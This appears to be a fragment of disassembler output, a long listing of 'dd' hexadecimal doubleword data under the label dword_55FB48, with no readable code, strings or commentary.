		dd 0EC180B31h, 51F0B8A0h, 554A151Fh, 0E2387894h, 3EC2191Ch
		dd 0B854DCh, 0C8B5C75Ch, 2615ED4Ah, 1C49935Bh, 2680D1BBh
		dd 0B48A12E8h, 280026C0h, 0AA8F44FAh, 58DE2Fh, 8EAF1C78h
		dd 0B368D998h, 0B1F4D148h, 69029A47h, 0EC6AF4FEh, 0F0C8BC10h
		dd 30B2DC92h, 0C593F300h, 6EE8543Ch, 0CA281A00h, 80500688h
		dd 618306FDh, 1E20C2AFh, 409D92F0h, 0A9EE6F91h,	0C43E11A0h
		dd 0C94CB8F0h, 771427DCh, 2F68D349h, 2E9DE010h,	471FF71Fh
		dd 0E112CF00h, 372FAF86h, 8768268Dh, 51434039h,	320181BEh
		dd 44C3D611h, 82F068F3h, 10591528h, 0E45CC8D5h,	2EC7E080h
		dd 9250C9D9h, 45865080h, 0C887DEA1h, 1C09A8FAh,	89B413FEh
		dd 482C85E0h, 1BE8B081h, 9FE47D04h, 0D01294EEh,	640D6448h
		dd 6470EA30h, 245F3468h, 92F4D0EDh, 0A4A0D1A9h,	0BBE21080h
		dd 20095FDFh, 7A1B4A08h, 687B6A00h, 0DCD34703h,	0BCCF003Eh
		dd 16C028B0h, 0C758F087h, 60EA0218h, 0B1E32BDh,	274C499h
		dd 112A1911h, 982D1769h, 69B43D24h, 54F28CE4h, 0FA20F4B2h
		dd 586497A1h, 80EDE53Eh, 5D14302Dh, 5AB758Eh, 1EC35906h
		dd 6BB0CC4Dh, 0ECF2174Eh, 830C4300h, 9BDD28BFh,	0C7CE3Ch
		dd 6CBBA2CFh, 13F58689h, 86BE7D4h, 6643C48h, 0ACFF1C45h
		dd 0FD8AC2A4h, 4CE443C5h, 0B05452A9h, 0A5B601D1h, 116FA006h
		dd 69F8EBE2h, 0AE00FD2Eh, 8D7E4163h, 0BFD9BC91h, 0AFFE6C10h
		dd 0AAE1AD28h, 7224E4FEh, 0CC102079h, 0DC80B8C8h, 331C89BEh
		dd 0AC659F7Ch, 67143BBh, 1A0C3ED3h, 2220A9D7h, 0C4619583h
		dd 78D3FC62h, 6019409h,	0BB847338h, 0B88A127Ch,	0D044C266h
		dd 80741C18h, 2B97F38Bh, 0BFC09008h, 6CF4002Dh,	89500BEEh
		dd 0C7584323h, 0B08A4F94h, 0BC7D0E00h, 9BF43709h, 0BBD5ED00h
		dd 78E5DA39h, 0C3E2266Ch, 67F108CCh, 5044BDh, 0BF0614FDh
		dd 0F47D028Ah, 56021F4h, 4F80CCC8h, 0A33C4FEFh,	25FC03B0h
		dd 9964DE63h, 16C4C3CFh, 404D0032h, 83CCE568h, 5B888DB5h
		dd 0AF22015Ch, 0F471DA50h, 4965E034h, 5AB6F500h, 0F11A98DCh
		dd 0B0360F42h, 0F2323EC0h, 0A13C0018h, 1C72925Fh, 30C59D07h
		dd 1AD22E01h, 0AC528124h, 73AC18D4h, 8891F088h,	0F4A5A089h
		dd 24E79813h, 3E6A8F04h, 9DA4B0E5h, 2C746B40h, 60884824h
		dd 0C6881C42h, 64D878C8h, 94E72199h, 5A97F010h,	20851326h
		dd 2C53308h, 7D87E27Bh,	0EAA0872Eh, 59F824D9h, 7F263132h
		dd 71112090h, 407ADC25h, 0B7AA59A0h, 327DD800h,	11002021h
		dd 0B92439BEh, 0E933D34h, 2C6D9E97h, 0F28D4500h, 54120651h
		dd 0A0C08E69h, 0A490979Fh, 0AF10F984h, 3C1C7D10h, 46409ED8h
		dd 0A7B230DDh, 0A39833EAh, 228CE4F8h, 801829D3h, 0A8004F8Bh
		dd 13201E83h, 0A5167569h, 2B791C0h, 0D3107EDCh,	21BCA283h
		dd 0F58B0252h, 3A894D5h, 2F05E78Eh, 0DBA0FBC6h,	8600E496h
		dd 0AF7B7885h, 5E14DF43h, 4348023h, 0DB6080E2h,	18299CF8h
		dd 0CFF64C30h, 24C0095Bh, 386B5499h, 56EE8B4Ch,	0AC91505Ch
		dd 2DEBBB01h, 201168B5h, 519D1984h, 2424CE12h, 4C5030B1h
		dd 405D7213h, 4944D50Ch, 24F9F821h, 21B8789Fh, 0EDB780C4h
		dd 0B0DEBB9Dh, 0CDAE4A00h, 631C140Bh, 505E4D40h, 25ECEC7Eh
		dd 70043DF1h, 223C3265h, 0D8DE1B69h, 0EE3F6C50h, 0B5F20424h
		dd 0C1C4390Dh, 4AD7670h, 0FE3020BBh, 0EA00DFE8h, 0B9D46478h
		dd 124D15EFh, 385C01C2h, 69817164h, 20B9520Ch, 8ACC9E40h
		dd 4C8209D5h, 5C0013F1h
		dd 3C274D2Eh, 90A07878h, 71815B7Dh, 28DFC022h, 251443E0h
		dd 80A0733Fh, 0C3A3B4D6h, 4007ACEh, 0F319DBADh,	18677EEEh
		dd 0F0AE7098h, 1C80B13Eh, 22624A04h, 79292DD8h,	0F51F0040h
		dd 9256E59Dh, 0B0369B60h, 94366F8Ch, 116747E8h,	7B1768DCh
		dd 18A5CC5Ch, 91CD10h, 0B273AAA8h, 0F2E98668h, 0F8DEB300h
		dd 224EC635h, 434CBA6Ah, 0E3462241h, 64818C42h,	47680004h
		dd 0D293FDECh, 5E4B2142h, 8CF2A4C4h, 0B8655712h, 0CD9AC034h
		dd 79514987h, 1EDE00AFh, 5EE598E2h, 784F1902h, 640C9808h
		dd 0FC3D4358h, 0CC4BF78Fh, 259E4F18h, 85E046DCh, 2425A14Eh
		dd 0BE88A478h, 231830FAh, 660E4312h, 0C2D56B58h, 0A2397289h
		dd 576A7F5Ch, 0F2E6E890h, 0A0194200h, 92DABAC3h, 10DF09A7h
		dd 50DECBA1h, 0D811DC4Ah, 225B9F3Fh, 30E2ED68h,	0E69F8CF8h
		dd 57C10090h, 199BDE21h, 8309C488h, 54D551A4h, 91964148h
		dd 19D670FBh, 0BE27AB16h, 657E540Bh, 5444A540h,	0FFF53600h
		dd 88069A05h, 0A8F96494h, 1CF131ECh, 4CD4AC04h,	2287B070h
		dd 273A139Dh, 73AC333Dh, 0D8BC08B0h, 0C38D7700h, 3743277Ah
		dd 0D1154BDDh, 582E62Ch, 536A1C09h, 53C8028h, 0A5129BA0h
		dd 0AF1B8D14h, 80B3B4BCh, 39552880h, 6601E40Dh,	0E21FAC5Fh
		dd 0C4219F36h, 0FA0969C1h, 29061C22h, 530D0C68h, 0F49B0C90h
		dd 0C93AA300h, 0B76FB14Ch, 2DC4D881h, 4CE0351Ah, 664B5FACh
		dd 0E089C88h, 0D2048CF2h, 0CE138E81h, 0E171C43Eh, 0DC81570Fh
		dd 2F3064D6h, 0B4E244C3h, 69C460ADh, 3D18E413h,	159E3500h
		dd 41C5F61Fh, 0C4FCBE3Eh, 30F032A0h, 0B8837031h, 88E37Fh
		dd 3AF69D1h, 5D96ACFCh,	1152FF00h, 2F29D4B8h, 98A40E04h
		dd 0CC141BEBh, 0F7D2CDB0h, 38232B02h, 8297DEA0h, 1368FCACh
		dd 0E23D40ACh, 4B5CCABBh, 0D868C8DCh, 0CC0F3401h, 0EFED264Eh
		dd 0A99CCh, 0FF819811h,	249A8057h, 1BEE8C0Bh, 27285907h
		dd 95370802h, 151C6801h, 7548222Bh, 6EF11420h, 0A4149136h
		dd 0E490A774h, 20004C2Bh, 0C390481Ch, 0E026F4B5h, 949F1233h
		dd 304CA04Eh, 0CCE25D86h, 62E9B88Dh, 836B88CCh,	0F5AD5B5h
		dd 2C7D6090h, 8A135205h, 0A4A24ABDh, 0ED7BF612h, 0E5EF0860h
		dd 985025FCh, 1F4A8300h, 3DFF5A06h, 20BC4ECFh, 8AD7ECE0h
		dd 34D9A44h, 4195010Bh,	0F0B90214h, 487870E6h, 444BE542h
		dd 0AC7BDC88h, 2EC3803Ch, 9F59DA5h, 3E023D91h, 74C8905Ch
		dd 385497E4h, 808C1440h, 1197B933h, 296BC99Ch, 11E87C0Ch
		dd 1B2DA0DBh, 9544ACF8h, 4508004Fh, 0D23DE8D4h,	0F5002CB9h
		dd 0BB11621Bh, 4715F6h,	5EF2C9FEh, 0CB2ACA84h, 7660DE7Fh
		dd 373E1920h, 80A517CCh, 0B1C8C8EEh, 8E0AC900h,	21F86304h
		dd 24A4E838h, 16B45CFFh, 20583249h, 999F1421h, 0E821A023h
		dd 0A4E2E016h, 9ECCBA0Eh, 0F823BBC0h, 9F0EE366h, 4208EEEDh
		dd 0C8DA2991h, 8061512Ch, 4D3C1F75h, 0F8D080A8h, 0F10A699Dh
		dd 55D0C0C0h, 497E479h,	9C719E01h, 730BACBDh, 0FBE86C34h
		dd 0A9F49F13h, 649D8878h, 78784D29h, 8B015CF5h,	0A04828F4h
		dd 58393063h, 0A80024FEh, 0DD985AD4h, 5600640Bh, 196BC12Dh
		dd 770A218h, 0FFEE4837h, 0F85C79AFh, 1A0D000h, 0F7BF2B8h
		dd 8A7F576h, 0E3266F80h, 7276A8ABh, 0F031684Eh,	0CE010F9h
		dd 1C0495DDh, 2BC43214h, 4300E04Eh, 0E0A5FDE7h,	0B50D5DF3h
		dd 0A215CC98h, 3CF543E6h, 99B12070h, 0E4398080h, 0DE464892h
		dd 18589DE4h, 0D0CC4818h, 0E0C94EACh, 1ED8C6F8h, 43EC38EEh
		dd 0BB86B749h, 9118A821h, 28F05AB6h, 51091B5h, 0C261879Eh
		dd 685C5FA9h, 58D21916h, 0C0887E98h, 552575A4h,	9A7DFE03h
		dd 0D8AE86E1h, 9489E5D7h, 13602814h, 0BC1BED88h, 847F8904h
		dd 0BE320844h, 6C385429h, 5C849618h, 0C2967095h, 0B4C8C680h
		dd 39BD86CAh, 80AE78C4h, 12804D88h, 0B21920D4h,	194DC3Ah
		dd 0EEAD6202h, 5EA4E131h, 0A39E0884h, 6BF37880h, 9B0871B4h
		dd 409C4460h, 889FF0Bh,	67C100C7h, 96E9C35Fh, 0CC5C9BE7h
		dd 0AA022DCh, 8697B68Ch, 50102594h, 0E47F3BB7h,	4594B550h
		dd 0EE7C24EBh, 5F0C944h, 0AEF093Dh, 98F816BDh, 6410F31Ch
		dd 6F18713Ah, 331BD407h, 0B5F19C06h, 2F70885Fh,	0D044F38Bh
		dd 51DD3C27h, 93ED0018h, 0C5AB2C0Fh, 4477325h, 0ACB17F48h
		dd 1C17F473h, 58ACD809h, 7D40069Dh, 2C5B4228h, 9E58B805h
		dd 0DB360066h, 95A12777h, 11F9A8Eh, 0C42E9B11h,	283F60C0h
		dd 0B6E30CCAh, 0DCC087FFh, 24E2134Ah, 80A92900h, 0AE89AB58h
		dd 934865EEh, 8F6000CBh, 0FE6483E2h, 42EB01F6h,	48A081FDh
		dd 0F32420DDh, 0B908F494h, 4925B853h, 5700B4CEh, 43CD25BDh
		dd 0A145E335h, 223A6CCCh, 9810D1B4h, 6D44848Ch,	0FFE9005Bh
		dd 0FCAB8759h, 0B80F69E0h, 0D35A659Eh, 309FF8B0h, 8B397F9Ah
		dd 649F59C0h, 31B00A4h,	9CC7F7E2h, 0FCEB104Ah, 0B876F118h
		dd 131C262Fh, 6FB0970Ch, 0AB8C37h, 6EEAA171h, 7889FD68h
		dd 4ED02812h, 19831409h, 851091B0h, 88B27AA0h, 0EC894778h
		dd 84B88508h, 12679421h, 8EECA257h, 40A2617Bh, 0DCF1E8F1h
		dd 9C3C206Ah, 257FC539h, 5988207h, 68F13A0Ah, 1023231Fh
		dd 79138874h, 2067AD26h, 240B253Eh, 0A0B48B38h,	304A00F2h
		dd 48ABEF61h, 8A02EDACh, 0F327AA70h, 0C1E884F1h, 484E0121h
		dd 0EB40B650h, 4CD5B074h, 0F01254B7h, 4230E4B4h, 0C897230Fh
		dd 442DEEDCh, 0B0B35865h, 4411DA1Ch, 923756DFh,	8C9A8C8Ch
		dd 7640AB55h, 950F021Ch, 88DE73D4h, 0A277DA40h,	3B923981h
		dd 0E92965FCh, 0A6F820B6h, 95125BFFh, 0EE7577h,	6963452Ch
		dd 0AB012604h, 1916CC72h, 0C82ED9B5h, 9F001A1Ch, 12C701DEh
		dd 197A4Fh, 295965C2h, 0ED5C2CEFh, 99829A00h, 401135E3h
		dd 73316D8h, 0B394D858h, 0FD237B00h, 0B21388Ch,	0E887302Ah
		dd 0B1C06410h, 0EB19290Bh, 135C18D7h, 0C9B01685h, 0FC49129Bh
		dd 0FD1CC400h, 10F11CE5h, 8403F44Ch, 0C00B8B2Ah, 83969F11h
		dd 0C4583C56h, 0E1706817h, 3079CC6Ch, 0E48E788h, 0D0783CBFh
		dd 0A78E40FDh, 189A2C1Eh, 4C086F00h, 9219E537h,	0A0574C79h
		dd 0C1CEB048h, 5D9B3143h, 4B592013h, 2B001CE6h,	0AC528D80h
		dd 0B4013147h, 5CE6EAF6h, 0E1207936h, 2C20E939h, 41A9DC3Eh
		dd 0EC7D538Fh, 0A0D82ECCh, 0CC1B4AF0h, 841E40h,	588B118Ch
		dd 7FF2DD1Fh, 0ED8D3100h, 0DA6B9EC7h, 0EA020FC6h, 430A8772h
		dd 57F20A08h, 41C0A14h,	10140268h, 0F8601EC2h, 9D09B687h
		dd 1164FE22h, 0A3C4E19Ch, 19940099h, 862621EDh,	9D073152h
		dd 7377B37Dh, 12FEDA11h, 4088627Ah, 4FC01043h, 0C700F53Fh
		dd 679DEB06h, 4A59B8C9h, 1D80F2E9h, 8D4F4208h, 0AE558020h
		dd 74F06FD3h, 52A213C4h, 0FD6088EDh, 6B24FA1Fh,	828980C3h
		dd 0DCDABB50h, 0D04808BEh, 0D47BF300h, 0F0FB41BFh, 0A053F047h
		dd 9756508h, 99CA4D3Dh,	1B443C52h, 0CB1EEA69h, 100AC669h
		dd 48176018h, 720E402Fh, 205FA38Fh, 8BFA51CAh, 82FB05CEh
		dd 0AE70AB7Ah, 0D1DDD832h, 0F51C18h, 7BD8245Ah,	0BD009953h
		dd 5C221995h, 20A1DD4Eh, 8B0B07DFh, 0FB4A021Ch,	47DF8094h
		dd 7E0A39D4h, 4BA6EE00h, 8B8ACCD6h, 0B98090B5h,	1A3C0064h
		dd 19DF668Eh, 41505C1Ch, 0AC4D08C0h, 0E76FD6h, 0A1F6B5B3h
		dd 942B3998h, 9C6EBDh, 0E9777B70h, 0C5996B1Bh, 5EA0B800h
		dd 3C8EDD06h, 0A1C1487h
		dd 1889985Ah, 0A6510856h, 3ADE60h, 38FBBCF3h, 0B8D5EB1Ah
		dd 1600D071h, 0F5318A28h, 4BC301E3h, 2EC8A3AEh,	6026247Bh
		dd 53E5801h, 123E6DBFh,	0ECE27Ch, 2470A05Ah, 1DD96E7h
		dd 555EFC99h, 80B093F8h, 0D7096DE8h, 2D7E6A5Fh,	0F4618871h
		dd 0A19C6C10h, 7DD8B38Bh, 616302ABh, 506D5468h,	2A4A48C1h
		dd 458BD02Ch, 68112BF2h, 765389F4h, 0F5B3E048h,	0D41636B0h
		dd 0F01F9917h, 0E5DF1080h, 57006A8h, 858B199Ah,	8808ABCBh
		dd 0FC3D8231h, 107716ACh, 0ECAD6638h, 175AFE89h, 0EC88E3FFh
		dd 13D862F0h, 945036h, 0ABCDCC9h, 0F62D19E9h, 3F629D02h
		dd 99073ED8h, 5CF29FA4h, 60EA44C4h, 1F3AC0DCh, 2EB2FD43h
		dd 45EA0B70h, 3C53A989h, 69356300h, 5DB7B4h, 465C37A1h
		dd 0E748E57Fh, 0C6102D16h, 0BAD29C0Bh, 1BC42210h, 0B8B02B24h
		dd 9D44A39Fh, 804CB1DCh, 5C3806Ah, 150722F3h, 14B7F9DDh
		dd 27BE3AC0h, 0C07539CDh, 9D3CB8FCh, 99CA3CB0h,	700A7F82h
		dd 401B6424h, 59BA54BEh, 0E5D8002Ah, 0FCD02C9Eh, 844B64D9h
		dd 420A7CE0h, 9E2265h, 944E75F9h, 3BAC115Ah, 0D70906F0h
		dd 84C1A28Ch, 4B0878ECh, 0B00078A5h, 9ECBA14h, 2A79AF15h
		dd 0DF037CD6h, 8DB25927h, 42CF3CF0h, 82A109B7h,	14C4FB72h
		dd 3800ED47h, 0CD49E73Eh, 647A4324h, 0E6B8FE05h, 5680F3D7h
		dd 0B7E9AC04h, 63982410h, 67E5B400h, 717C12FBh,	3D8925CEh
		dd 78966879h, 8A10B027h, 733219A9h, 72F125B5h, 13027CD8h
		dd 97EC18C6h, 0E0B05780h, 0DA1741B1h, 0D830D86Ch, 0E44D389Eh
		dd 55670202h, 0E097E71Ch, 5730815Dh, 0C13BB29Fh, 0E15141F0h
		dd 789CE50Fh, 87E2C040h, 1BC25A6h, 9885FD22h, 0ED2DFFF9h
		dd 658DE0EFh, 0CA3038h,	4AD6EDBAh, 12842288h, 60069909h
		dd 11C36C20h, 0C22DE300h, 0A1D79F21h, 0F7260018h, 20075868h
		dd 155424CBh, 0E70013D4h, 0F318376Fh, 2CD94Dh, 0F27EB851h
		dd 0D522FB53h, 5B967801h, 0DBC5B91Dh, 0E9803868h, 410D9463h
		dd 5452A502h, 0C12773C4h, 1C1015D8h, 0C4B47608h, 7595B541h
		dd 0B400602Eh, 0DB005848h, 9FF84AD4h, 1E7F2F1Eh, 409891D5h
		dd 0AA1DC566h, 920934D7h, 14F58B23h, 331E2DB0h,	56963071h
		dd 0B78FECE8h, 0B15FB547h, 0D44F571Eh, 0A9003B40h, 92DE6DDh
		dd 169675D5h, 30A57BC5h, 4E85AD7Ch, 0D002AF00h,	35243FC1h
		dd 0D4C807BAh, 0C0773E69h, 0DD9B11A8h, 9744F890h, 0C1B67C88h
		dd 15F57179h, 0A8007BEAh, 1B21DC22h, 12D70BE7h,	0C8666CF0h
		dd 0BE6A49A0h, 3CD090A1h, 805300h, 0E844B28Eh, 98AF129Dh
		dd 68B620F4h, 74C0E09Fh, 206F58B4h, 0DD6C5203h,	84EF8F7Ah
		dd 0A0CCB8E9h, 4566CAh,	99B4ACBBh, 6D61E024h, 3C188502h
		dd 52021569h, 66072144h, 24E2CA3Bh, 0C94E409Fh,	79560897h
		dd 0B8C05995h, 3161FACCh, 7EB9D2C5h, 1CB73C20h,	44090F6Ch
		dd 0DF0A857Dh, 7ADA0208h, 40781779h, 1044C2F7h,	4D802491h
		dd 3E751155h, 0BFC102E5h, 9F7E57C4h, 7F651040h,	2C808E4Ah
		dd 5DDF44Fh, 0FF1C6378h, 0F50F745h, 613CA53Bh, 97319862h
		dd 0E453586Ch, 0BD4EFD01h, 0D86D9E96h, 2C2620BFh, 0D108862h
		dd 52B8F028h, 0EA00E0E7h, 0F1A43B1Bh, 28A10997h, 0C094287Eh
		dd 0C26EF2DCh, 0B4AD2C95h, 0DF8C0E38h, 5180DDAFh, 0D5B3F320h
		dd 0AA659E00h, 4AF903E9h, 0A03DF081h, 0A279F208h, 0C698C214h
		dd 918F9820h, 0B4FD0024h, 0FEF00E23h, 68D8B934h, 85170809h
		dd 0E4841398h, 64119CADh, 0C8BB006Ah, 1CAA16F5h, 63FA0083h
		dd 1EB48946h, 0A8C0655Bh, 0ECD19C56h, 49F61C93h, 0A2B58023h
		dd 65DED353h, 111703Ah,	0CBE9249Dh, 0A870A9A5h,	61616A0Ah
		dd 0BCD92D30h, 9B310E40h, 0C1D10004h, 32FDE43Ah, 6F0267E2h
		dd 48B68CD0h, 0F6884278h, 0C8170BFCh, 0FAC0847Eh, 3AFCDC19h
		dd 0A3007087h, 0D67C7E1Eh, 0E04781Fh, 6379697Bh, 0AF020BEh
		dd 1C27D9A5h, 238D2DBh,	0B29DABC5h, 445B94ECh, 978FBD02h
		dd 0BB825FF3h, 1C5696EAh, 8A3150h, 0EEA7C4F1h, 6F7521D9h
		dd 4C20854Eh, 0E42D32AEh, 2E6524F1h, 0AC02002Eh, 0F891B5ABh
		dd 0CB01951Ch, 3C5BEDh,	0D75A306Bh, 6916E96Ch, 1CB81B33h
		dd 0B9F18B82h, 8D449CF6h, 62BF4E40h, 891C63B1h,	68836BD7h
		dd 0F85B6561h, 22920EA3h, 0E9029B8Bh, 76C1B62Eh, 0DD76ECh
		dd 0F11B6E14h, 899FA134h, 2A47888h, 75EAD1C9h, 117F419Eh
		dd 903B7D40h, 4FA8A468h, 9095EC2Ch, 0F5B86227h,	981E5416h
		dd 9AC71347h, 23852A0Fh, 0C0800CBCh, 0A0695EB2h, 0AC933Ch
		dd 0AF75E8CDh, 9AB54E3h, 0EE8F7B4Dh, 2C7CEC09h,	95221D6Eh
		dd 4E9DB882h, 18C0DC7Eh, 13F2EA09h, 0A9158F3Bh,	4AFC9078h
		dd 7B80C8ACh, 6B3B8EF4h, 93E46300h, 66D0FF90h, 0DDD6029Ah
		dd 584ED139h, 8040005Eh, 9B84FB0h, 254B0B37h, 13E414F4h
		dd 1ACF000h, 0CC74EAD7h, 58F2DB13h, 0C121C1Dh, 0D6C888h
		dd 42FE5B1Ch, 873F799Ah, 12F81256h, 0E0A82171h,	2814BCA2h
		dd 2D87005h, 5C58E709h,	0C882727Ch, 0B9206F0Ah,	4A441708h
		dd 20940041h, 0A37B3DFBh, 144010B5h, 9C113CAFh,	60D3AC80h
		dd 4922CC0Fh, 0F3F52F50h, 4FC80D00h, 0F2D66694h, 3C0CA082h
		dd 9F670133h, 0E013458Ch, 7D0C209Eh, 6E254400h,	873A72E9h
		dd 86753BF7h, 886B8116h, 2D005AF4h, 854DB1A9h, 39A7CF9Fh
		dd 0E6BD4A6Ch, 0E0250225h, 0C4C0FC7Dh, 5B329322h, 0CB657h
		dd 81E2A16h, 0ED3C8815h, 0F487F507h, 3700CF7Ah,	5AC519D5h
		dd 5EC5BC01h, 2C2C18A1h, 0F7735580h, 2A3968DFh,	41C400B4h
		dd 27CE648Dh, 7E5B039Dh, 0F81C030Dh, 0A76F81h, 0C01A1068h
		dd 86343D41h, 0B87C53DFh, 3E1490BDh, 9FB20AB7h,	0C758E9A3h
		dd 0AAA6B308h, 689729D8h, 0D5DFB00h, 6A4096B7h,	5EE702D2h
		dd 85EF07CCh, 0A48880D4h, 0ECD64999h, 5166640Ch, 278B0063h
		dd 0B81784CDh, 1C00B00Ah, 53705271h, 4CFA48B2h,	7414F08Eh
		dd 0A897AC15h, 21417BA0h, 886C6C60h, 0A35FE88Bh, 84607C9Dh
		dd 0D8520007h, 0CD22C18Ah, 4E7577DFh, 270BAE3Fh, 934715Eh
		dd 1020E17Eh, 592868A4h, 13C81B48h, 2C2254F2h, 3CF24022h
		dd 4030B42Ch, 0EDB1A425h, 0AB07BA70h, 0BC3AC9A1h, 4329C3CFh
		dd 0CA4E4CDh, 10D571B9h, 80171368h, 0D52F2E2h, 5BB09002h
		dd 901494CDh, 0ED5416D4h, 0C000AC59h, 0B8356E88h, 0A6E20005h
		dd 732471B2h, 0EE0087A3h, 30A98AFDh, 111D08h, 0BEAE64B6h
		dd 0E9ABA524h, 190B522h, 0FC92B121h, 0DC1AD2DDh, 59001603h
		dd 0F554CA96h, 1272F1C6h, 30050865h, 7DC98C40h,	2B9DEE16h
		dd 1E42847h, 1CF3A7C4h,	11E4142Ch, 2CE2C7Eh, 0C3483400h
		dd 4AE63DE4h, 77F0C833h, 57816E0Fh, 0AE8463E1h,	0C0D4E435h
		dd 0CFC084ACh, 0C67FE2B8h, 0C5D8E660h, 0BEF9BEACh, 0B8A44018h
		dd 86013F4Bh, 0F15BF3D2h, 4DE42A0Dh, 8864001Ch,	8C1DBF2Fh
		dd 0B14DD6Bh, 0C0FC57D5h, 4E9CF013h, 0CB5C9CA5h, 0F488C854h
		dd 0C8C4ADA4h, 44E16F00h, 0E287963Ch, 579DA0CBh, 0CF5B0289h
		dd 869C9FFBh, 49007C46h, 4B120351h, 0B71338C7h,	0B9DC6Ch
		dd 0A781C001h, 24731ED9h, 97BE0300h, 0F732D867h, 0FE7EA100h
		dd 17148BA9h, 6CED169Eh, 8DC8881Ah, 0D8335300h,	39D4A0B6h
		dd 0A0735861h, 0DF0AA848h, 1DC24CDh, 7F019689h,	111300B7h
		dd 0BC861DECh, 82FD82B4h, 8B611AF9h, 48B827F1h,	8566C040h
		dd 9FC407h, 248E4AD8h
dword_55FB48	dd 52D9CB5Ah, 0F0759A01h, 0DF61A357h, 7DAC002Fh, 92E98B95h
		dd 7704428Ah, 59016487h, 0B420F8DCh, 9F09A44h, 1F694797h
		dd 0BF7B4C98h, 0D82544A2h, 0F00BFF1Ch, 6450D953h, 0DD7F2208h
		dd 9E41E814h, 269321ACh, 5F36888h, 0BE805645h, 44BE0025h
		dd 0A94488DCh, 0DC3D4ED0h, 1CE4816Fh, 14304101h, 3B6431E2h
		dd 0D40B1820h, 805F0052h, 82189079h, 3B023E27h,	72E7E942h
		dd 0C878641Dh, 698B68C8h, 582CF618h, 0F2554DEDh, 0C776D858h
		dd 11122300h, 0F1CA1EDBh, 2294AC97h, 3D12281Ah,	20BEAD07h
		dd 92451670h, 7E1E4800h, 222FBD5Ah, 33FB00E0h, 73A09A58h
		dd 830312D6h, 6BF3DC81h, 6E700BCFh, 78895F3Fh, 44BA4D6h
		dd 70A23D5Fh, 0A7F70B00h, 0F824693Bh, 217E7D00h, 0B6D164EAh
		dd 452A0050h, 0D9B5B93Ah, 0FD2C952Bh, 89392296h, 5CE877C2h
		dd 0F283122Ch, 0ADC80070h, 5543B988h, 79B74BCh,	0AA40E60Fh
		dd 0DD8680AFh, 0B09050B2h, 16501095h, 2CBE0007h, 0A8758749h
		dd 2D2765F2h, 7E8CD002h, 0BCF40BABh, 0D5DC6Eh, 0A9B59194h
		dd 749B0027h, 72F016CCh, 0DC009AFCh, 9C383B6Ch,	0D128DE3h
		dd 6049A293h, 2063F8h, 25B7C3FDh, 2BE0C57h, 0D085CF41h
		dd 644AE707h, 99520C1h,	521B69E0h, 6425CC32h, 0B03F1820h
		dd 6D0BC26Ah, 0ADAB804h, 54698CE4h, 4F00BBC8h, 6405D719h
		dd 9481BEAh, 88E1DC1Ch,	0C79373FFh, 84576830h, 8B3E1FC2h
		dd 3F38C0C3h, 0AB4B17D0h, 987E9A25h, 0EAD3E4h, 77FA966Fh
		dd 22DC67EFh, 344695h, 2E73F2D5h, 3DF7FDF6h, 89BF050Ch
		dd 5BA3F127h, 0D2C2898h, 0D5AD4400h, 0E62F31FBh, 0A598BBh
		dd 1B98E0BCh, 33D0FD1Ch, 0F08CD431h, 0B0208F7Bh, 1B2E84DCh
		dd 7A6054EDh, 0B2050Eh,	0DB419DC0h, 58271CB5h, 5D7D457Bh
		dd 5B093176h, 0F4CEF2DDh, 506D1974h, 0FF60804h,	0D44F479Dh
		dd 0F1A33B83h, 0E84268C2h, 4489875h, 1FE8F6BEh,	1387AF2h
		dd 6E9E9140h, 0E6F0F36Fh, 90A0A6EAh, 0A10268F2h, 91F37639h
		dd 98A97D22h, 0B15D6872h, 9FF42034h, 8C5E98C6h,	0A02200A6h
		dd 0F85BA800h, 0ABA336Bh, 0B5600062h, 0DB39D729h, 791C656Eh
		dd 8FD24DFAh, 9B82C030h, 98DA243Dh, 0DC20058Ch,	90E213h
		dd 5FA7B043h, 7BB79C9Bh, 0C82F0072h, 8BEB0699h,	98A0D2A2h
		dd 0A5011C68h, 7F3E0588h, 902A5DEEh, 0F6D786F4h, 4619A02Dh
		dd 97E68Ch, 0D91FEB14h,	0B183E3D4h, 0BDB64202h,	0C213E75Ah
		dd 970FE4Ch, 0F07C957Eh, 22203C42h, 0C02985A0h,	14E2DDA0h
		dd 0ACFD39B9h, 2677CE0Eh, 12E03A6Ah, 0CFDCB9E8h, 283FA0B1h
		dd 31CE2C72h, 911994BDh, 60CA6EF3h, 64CCB34Bh, 0D4F97650h
		dd 26B82292h, 1E00D070h, 0E8AACDF3h, 2FDC9D6h, 0DF728C09h
		dd 58D6BE82h, 80CB4709h, 0AD3E6618h, 0E4C1307Bh, 81BF008h
		dd 9A5024B4h, 0D2960078h, 84E12FA2h, 9400906Bh,	528C9F71h
		dd 18FE213h, 0AB7AF403h, 7CEAA404h, 6E5F01D0h, 667912DBh
		dd 0D73DC19Ch, 0C4ECEC69h, 1A8223DDh, 50B2DD82h, 0CE0014DCh
		dd 92E112B4h, 7DB300C1h, 44A6FC20h, 5400699Dh, 120EE210h
		dd 0F64294E3h, 0D743048Dh, 0EA6678EBh, 71725400h, 0B5B24614h
		dd 6130490h, 0E6B9105h,	0A8C16C4Eh, 9C629B9Fh, 9ED4E041h
		dd 0A34A0769h, 489DE43Eh, 194EB01h, 823A7ADBh, 3975F4DCh
		dd 0D9830F00h, 0BFEC8EF0h, 732040B6h, 0A2ED4E91h, 78204EB0h
		dd 1AA2F92h, 2732E8C1h,	3BCF3B50h, 0A55D7A0h, 5E041C78h
		dd 0F8F449F8h, 8BD0EB40h, 0B0210051h, 7597845Dh, 0EA4BCDF8h
		dd 1D5E58B3h, 1CE26518h, 0E8CC307Ch, 0A88CC072h, 7B3443A2h
		dd 8289E5Ch, 449D0D7h, 4385B4F0h, 0B867931Ah, 260C9E94h
		dd 0C3946h, 58F3D68Ah, 785ADCFAh, 6E81C30h, 2B022DB0h
		dd 0C59FE0D8h, 30D9AF84h, 0D6A0D000h, 14DDAF2Ah, 0A8ADCFF3h
		dd 2D1DDF11h, 8646Dh, 0E99F67DDh, 0A137D491h, 0BA488500h
		dd 21140881h, 4D9D01C5h, 9F1E69FAh, 0F813D894h,	798BDB2Dh
		dd 842290A8h, 20A21D5Bh, 25020F7Bh, 409D6780h, 9CB0701Ah
		dd 0E2000D52h, 7544C5C4h, 6FB63801h, 0F501D122h, 0D18B6D88h
		dd 1B58420Fh, 69413474h, 61AF2F13h, 45399090h, 3B00C4F2h
		dd 0A33124EBh, 247B285Ah, 781323h, 0D22C37Eh, 9C48ED64h
		dd 0A440961Ch, 69581460h, 5034BC17h, 7A017106h,	4E5D52F2h
		dd 3C33263Eh, 4A48130Eh, 7E81B41h, 0EC8A3B70h, 0C226C584h
		dd 57121940h, 81AE499h,	0F13368B6h, 1C405EBh, 0E61C88D3h
